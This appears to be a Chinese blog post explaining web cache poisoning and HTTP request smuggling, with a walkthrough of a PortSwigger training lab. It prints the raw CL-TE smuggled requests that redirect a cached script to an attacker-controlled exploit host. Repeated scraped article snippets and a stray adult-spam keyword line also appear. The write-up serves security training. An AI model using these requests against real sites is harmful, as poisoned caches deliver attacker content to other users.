<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Http-Sumggling-緩存漏洞

    VSole2022-08-04 16:19:22

    當http請求走私和web緩存碰到一起會產生什么樣的火花呢,讓我們看看

    在接觸Http Sumggling 緩存漏洞前,我們需要先對Http Sumggling和Web緩存有所了解。

    什么是Web緩存

    WEB緩存就是指網站的靜態文件,比如圖片、CSS、JS等,在網站訪問的時候,服務器會將這些文件緩存起來,以便下次訪問時直接從緩存中讀取,不需要再次請求服務器。

    緩存位于服務器和客戶端之間,通常出于優化用戶瀏覽體驗或其他原因以減少對服務器的訪問而設定的在固定時間內保存且針對特定請求的響應,常見的緩存點有

    ?后端程序緩存

    ?服務器緩存

    ?瀏覽器緩存

    ?緩存服務器

    ?CDN緩存

    最常見的無疑就是CDN及其類似的緩存服務器

    而為了讓緩存判斷是否需要提供緩存內容,在http請求中會存在緩存鍵 X-Cache,緩存鍵叫什么決定于架構師,但都是一個概念

    什么是web緩存漏洞

    如上圖所示,假設小紫小黃小綠都在服務器劃分的同一批特定請求中,那么小紫一開始訪問服務器時,經過緩存鍵X-Cache: Miss的判定,是首次訪問,所以直接連接到Server服務器,而其后的小黃、小綠再次訪問相同的文件時就會被判定為X-Cache: Hit,即只需連接Cache緩存服務器,不再連接到Server服務器,借此減少了Server服務器的運行負荷

    這無疑是一個很不錯的設計,但一旦被有心之士利用,那就會發生一些不好的事情了

    如圖,當攻擊者改了一些包發送到后端,導致后端返回一些惡意數據,比如xss、注入等問題,而由于緩存的機制,后續的正常用戶訪問時就會讀取緩存服務器的惡意緩存,這就是常見的web緩存漏洞,也叫緩存投毒

    Http Sumggling

    HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術,其漏洞的主要形成原因是不同的服務器對于RFC標準的具體實現不一而導致的

    一般可分為以下幾種

    ?CL: Content-Length

    ?TE: Transfer-Encoding

    ?CL不為0的GET請求

    ?CL-CL

    ?CL-TE

    ?TE-CL

    ?TE-TE

    在mengchen@知道創宇404實驗室的文章中有了十分詳細的論述,我這就不再贅述

    https://paper.seebug.org/1048/#35-te-te

    Http Sumggling 緩存漏洞

    靶場

    依舊以Lab: Exploiting HTTP request smuggling to perform web cache poisoning為靶場

    解法

    判斷是否存在走私,確定為CL-TE

    POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
    0
    GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
    x=1
    

    第一次請求為

    POST / HTTP/1.1Host: your-lab-id.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 129Transfer-Encoding: chunked
    

    第二次請求為下半段

    GET /post/next?postId=3 HTTP/1.1Host: anythingContent-Type: application/x-www-form-urlencodedContent-Length: 10
    x=1
    

    可以看到存在302跳轉

    然后我們需要找到哪里進行緩存投毒,這里我以/resources/js/tracking.js進行投du

    可以看到X-Cache為miss,這樣我們就可以利用修改,進行緩存投du

    ?先點擊send post

     POST / HTTP/1.1Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 195Transfer-Encoding: chunked
    0
    GET /post/next?postId=3 HTTP/1.1Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/Content-Type: application/x-www-form-urlencodedContent-Length: 10
    x=1
    

     訪問到第一部分

     

    ?然后在/resources/js/tracking.js send包

     

     

     可以發現成功投du,緩存鍵為miss,那下一個包應該就可以成功轉接到exploit上,我們試試

    ?對原界面進行抓包,多試幾次

     

     

     發現host成功變為我們的exploit

    后言

    漏洞越來越多,也會越來越復雜,不再是單一的某種漏洞這么簡單,多種漏洞復合是未來標志

    緩存服務器瀏覽器緩存
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Http-Sumggling-緩存漏洞
    2022-08-04 16:19:22
    當http請求走私和web緩存碰到一起會產生什么樣的火花呢,讓我們看看
    探討DNS解析流程
    2022-08-08 22:05:47
    如果 DNS 服務器出現故障,整個 Internet 網絡都將關閉。本地 DNS 服務器收到來自客戶端的 DNS 請求,它會在其緩存中查找 google.com 的 IP 地址。根域名服務器作為最高級別的 DNS 服務器,全球共 13 臺。頂級 .com 區域 DNS 服務器再次為該請求指明了方向。
    顯然不能將所有信息都儲存在一臺域名服務器中。根域名服務器是最高層次的域名服務器。因特網上共有13個不同IP地址的根域名服務器。因此權限域名服務器知道其管轄的域名與IP地址的映射關系。當一個主機發出DNS請求報文時,這個報文就首先被送往該主機的本地域名服務器
    幾道網絡面試題!看看你都會嗎?
    數據鏈路層在不可靠的物理介質上提供可靠的傳輸。與IP協議配套使用實現其功能的還有地址解析協議ARP、逆地址解析協議RARP、因特網報文協議ICMP、因特網組管理協議IGMP。ARP 是即插即用的,一個ARP表是自動建立的,不需要系統管理員來配置。
    數據鏈路層在不可靠的物理介質上提供可靠的傳輸。以太網協議詳解MAC地址:每一個設備都擁有唯一的MAC地址,共48位,使用十六進制表示。與IP協議配套使用實現其功能的還有地址解析協議ARP、逆地址解析協議RARP、因特網報文協議ICMP、因特網組管理協議IGMP。ARP 是即插即用的,一個ARP表是自動建立的,不需要系統管理員來配置。
    數據鏈路層在不可靠的物理介質上提供可靠的傳輸。以太網協議詳解MAC地址:每一個設備都擁有唯一的MAC地址,共48位,使用十六進制表示。與IP協議配套使用實現其功能的還有地址解析協議ARP、逆地址解析協議RARP、因特網報文協議ICMP、因特網組管理協議IGMP。ARP 是即插即用的,一個ARP表是自動建立的,不需要系統管理員來配置。
    數據鏈路層在不可靠的物理介質上提供可靠的傳輸。以太網協議詳解MAC地址:每一個設備都擁有唯一的MAC地址,共48位,使用十六進制表示。網絡層網絡層的目的是實現兩個端系統之間的數據透明傳送,具體功能包括尋址和路由選擇、連接的建立、保持和終止等。
    數據鏈路層在不可靠的物理介質上提供可靠的傳輸。與IP協議配套使用實現其功能的還有地址解析協議ARP、逆地址解析協議RARP、因特網報文協議ICMP、因特網組管理協議IGMP。ARP 是即插即用的,一個ARP表是自動建立的,不需要系統管理員來配置。
    Web緩存就是服務器會先將之前沒見過的請求對應的響應緩存下來,然后當有認為是相同請求的時候直接將緩存發給用戶,這樣可以減輕服務器的負荷。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类